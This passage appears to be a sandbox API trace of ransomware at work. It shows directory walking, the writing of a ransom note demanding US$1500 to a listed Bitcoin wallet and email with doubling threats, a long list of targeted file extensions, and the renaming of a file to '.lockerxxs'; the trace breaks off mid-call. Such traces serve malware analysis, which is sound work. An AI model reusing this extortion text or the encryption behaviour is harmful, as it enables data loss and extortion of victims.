FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4e0000, cFileName="..", cAlternateFileName="")) returned 1 [0068.355] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0068.356] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0068.356] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4e0000, cFileName="..", cAlternateFileName="")) returned 0 [0068.356] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0068.356] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x550045, dwReserved1=0x3, cFileName="FRA", cAlternateFileName="")) returned 1 [0068.356] lstrcmpA (lpString1=".", lpString2="FRA") returned -1 [0068.356] lstrcmpA (lpString1="..", lpString2="FRA") returned -1 [0068.356] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\*.*") returned="*.*" [0068.356] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\", lpString2="FRA" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA" [0068.356] lstrlenA (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA") returned 63 [0068.356] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0068.357] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0068.357] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.358] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0068.358] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0068.358] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10ab0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0068.358] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0068.358] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AdobeID.pdf") returned 1 [0068.358] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AdobeID.pdf") returned 1 [0068.358] lstrcmpiA (lpString1="", lpString2="AdobeID.pdf") returned -1 [0068.358] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\*.*") returned="*.*" [0068.358] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\" [0068.358] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\") returned="" [0068.358] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\HOW TO DECRYPT FILES.txt" [0068.358] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\fra\\how to decrypt files.txt")) returned 0xffffffff [0068.358] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\fra\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0068.359] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0068.359] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0068.360] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0068.360] CloseHandle (hObject=0x94) returned 1 [0068.360] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\", lpString2="AdobeID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf" [0068.360] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.ems") returned 0 [0068.360] lstrlenA (lpString="*.ems") returned 5 [0068.361] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.db") returned 0 [0068.361] lstrlenA (lpString="*.db") returned 4 [0068.361] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.dbf") returned 0 [0068.361] lstrlenA (lpString="*.dbf") returned 5 [0068.361] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.myox") returned 0 [0068.361] lstrlenA (lpString="*.myox") returned 6 [0068.361] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.myo") returned 0 [0068.361] lstrlenA (lpString="*.myo") returned 5 [0068.361] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.qbw") returned 0 [0068.361] lstrlenA (lpString="*.qbw") returned 5 [0068.361] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.qbb") returned 0 [0068.361] lstrlenA (lpString="*.qbb") returned 5 [0068.361] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.qbm") returned 0 [0068.361] lstrlenA (lpString="*.qbm") returned 5 [0068.361] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.qbo") returned 0 [0068.361] lstrlenA (lpString="*.qbo") returned 5 [0068.361] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.qbx") returned 0 [0068.361] lstrlenA (lpString="*.qbx") returned 5 [0068.361] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.qba") returned 0 [0068.361] lstrlenA (lpString="*.qba") returned 5 [0068.361] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.qby") returned 0 [0068.361] lstrlenA (lpString="*.qby") returned 5 [0068.361] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.qbj") returned 0 [0068.361] lstrlenA (lpString="*.qbj") returned 5 [0068.361] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.ofx") returned 0 [0068.362] lstrlenA (lpString="*.ofx") returned 5 [0068.362] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.qif") returned 0 [0068.362] lstrlenA (lpString="*.qif") returned 5 [0068.362] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.mye") returned 0 [0068.362] lstrlenA (lpString="*.mye") returned 5 [0068.362] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.mbox") returned 0 [0068.362] lstrlenA (lpString="*.mbox") returned 6 [0068.362] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.eml") returned 0 [0068.362] lstrlenA (lpString="*.eml") returned 5 [0068.362] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.pst") returned 0 [0068.362] lstrlenA (lpString="*.pst") returned 5 [0068.362] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.ost") returned 0 [0068.362] lstrlenA (lpString="*.ost") returned 5 [0068.362] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.idx") returned 0 [0068.362] lstrlenA (lpString="*.idx") returned 5 [0068.362] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.dbx") returned 0 [0068.362] lstrlenA (lpString="*.dbx") returned 5 [0068.362] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.sql") returned 0 [0068.362] lstrlenA (lpString="*.sql") returned 5 [0068.362] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.mdb") returned 0 [0068.362] lstrlenA (lpString="*.mdb") returned 5 [0068.362] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.fdb") returned 0 [0068.362] lstrlenA (lpString="*.fdb") returned 5 [0068.363] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.wab") returned 0 [0068.363] lstrlenA (lpString="*.wab") returned 5 [0068.363] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.dat") returned 0 [0068.363] lstrlenA (lpString="*.dat") returned 5 [0068.363] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.txt") returned 0 [0068.363] lstrlenA (lpString="*.txt") returned 5 [0068.363] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.jpeg") returned 0 [0068.363] lstrlenA (lpString="*.jpeg") returned 6 [0068.363] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.jpg") returned 0 [0068.363] lstrlenA (lpString="*.jpg") returned 5 [0068.363] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.png") returned 0 [0068.363] lstrlenA (lpString="*.png") returned 5 [0068.363] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.php") returned 0 [0068.363] lstrlenA (lpString="*.php") returned 5 [0068.363] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.cs") returned 0 [0068.363] lstrlenA (lpString="*.cs") returned 4 [0068.363] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.cpp") returned 0 [0068.363] lstrlenA (lpString="*.cpp") returned 5 [0068.363] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.rar") returned 0 [0068.363] lstrlenA (lpString="*.rar") returned 5 [0068.363] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.zip") returned 0 [0068.363] lstrlenA (lpString="*.zip") returned 5 [0068.363] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.html") returned 0 [0068.363] lstrlenA (lpString="*.html") returned 6 [0068.363] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.htm") returned 0 [0068.363] lstrlenA (lpString="*.htm") returned 5 [0068.364] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.xlsx") returned 0 [0068.364] lstrlenA (lpString="*.xlsx") returned 6 [0068.364] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.xls") returned 0 [0068.364] lstrlenA (lpString="*.xls") returned 5 [0068.364] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.mp4") returned 0 [0068.364] lstrlenA (lpString="*.mp4") returned 5 [0068.364] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.ppt") returned 0 [0068.364] lstrlenA (lpString="*.ppt") returned 5 [0068.364] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.pptx") returned 0 [0068.364] lstrlenA (lpString="*.pptx") returned 6 [0068.364] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.doc") returned 0 [0068.364] lstrlenA (lpString="*.doc") returned 5 [0068.364] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.dot") returned 0 [0068.364] lstrlenA (lpString="*.dot") returned 5 [0068.364] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.docx") returned 0 [0068.364] lstrlenA (lpString="*.docx") returned 6 [0068.364] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.7z") returned 0 [0068.364] lstrlenA (lpString="*.7z") returned 4 [0068.364] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.tar") returned 0 [0068.364] lstrlenA (lpString="*.tar") returned 5 [0068.364] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.bz2") returned 0 [0068.364] lstrlenA (lpString="*.bz2") returned 5 [0068.364] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.gz") returned 0 [0068.364] lstrlenA (lpString="*.gz") returned 4 [0068.364] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.mkv") returned 0 [0068.364] lstrlenA (lpString="*.mkv") returned 5 [0068.365] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.eml") returned 0 [0068.365] lstrlenA (lpString="*.eml") returned 5 [0068.365] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.msg") returned 0 [0068.365] lstrlenA (lpString="*.msg") returned 5 [0068.365] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.edb") returned 0 [0068.365] lstrlenA (lpString="*.edb") returned 5 [0068.365] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.accdb") returned 0 [0068.365] lstrlenA (lpString="*.accdb") returned 7 [0068.365] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.odb") returned 0 [0068.365] lstrlenA (lpString="*.odb") returned 5 [0068.365] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.java") returned 0 [0068.365] lstrlenA (lpString="*.java") returned 6 [0068.365] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.asm") returned 0 [0068.365] lstrlenA (lpString="*.asm") returned 5 [0068.365] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.pfx") returned 0 [0068.365] lstrlenA (lpString="*.pfx") returned 5 [0068.365] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.pem") returned 0 [0068.365] lstrlenA (lpString="*.pem") returned 5 [0068.365] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.p12") returned 0 [0068.365] lstrlenA (lpString="*.p12") returned 5 [0068.365] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.gpg") returned 0 [0068.365] lstrlenA (lpString="*.gpg") returned 5 [0068.365] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.vsd") returned 0 [0068.365] lstrlenA (lpString="*.vsd") returned 5 [0068.365] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.odg") returned 0 [0068.365] lstrlenA (lpString="*.odg") returned 5 [0068.366] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.raw") returned 0 [0068.366] lstrlenA (lpString="*.raw") returned 5 [0068.366] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.nef") returned 0 [0068.366] lstrlenA (lpString="*.nef") returned 5 [0068.366] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.svg") returned 0 [0068.366] lstrlenA (lpString="*.svg") returned 5 [0068.366] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.psd") returned 0 [0068.366] lstrlenA (lpString="*.psd") returned 5 [0068.366] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.vmx") returned 0 [0068.366] lstrlenA (lpString="*.vmx") returned 5 [0068.366] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.vmdk") returned 0 [0068.366] lstrlenA (lpString="*.vmdk") returned 6 [0068.366] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.vdi") returned 0 [0068.366] lstrlenA (lpString="*.vdi") returned 5 [0068.366] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.lay6") returned 0 [0068.366] lstrlenA (lpString="*.lay6") returned 6 [0068.366] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.mpeg") returned 0 [0068.366] lstrlenA (lpString="*.mpeg") returned 6 [0068.366] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.djvu") returned 0 [0068.366] lstrlenA (lpString="*.djvu") returned 6 [0068.366] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.tiff") returned 0 [0068.366] lstrlenA (lpString="*.tiff") returned 6 [0068.366] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.backup") returned 0 [0068.366] lstrlenA (lpString="*.backup") returned 8 [0068.366] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", pszSpec="*.pdf") returned 1 [0068.366] lstrlenA (lpString="*.pdf") returned 5 [0068.366] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf" [0068.367] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf" [0068.367] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf." [0068.367] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf.lockerxxs" [0068.367] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 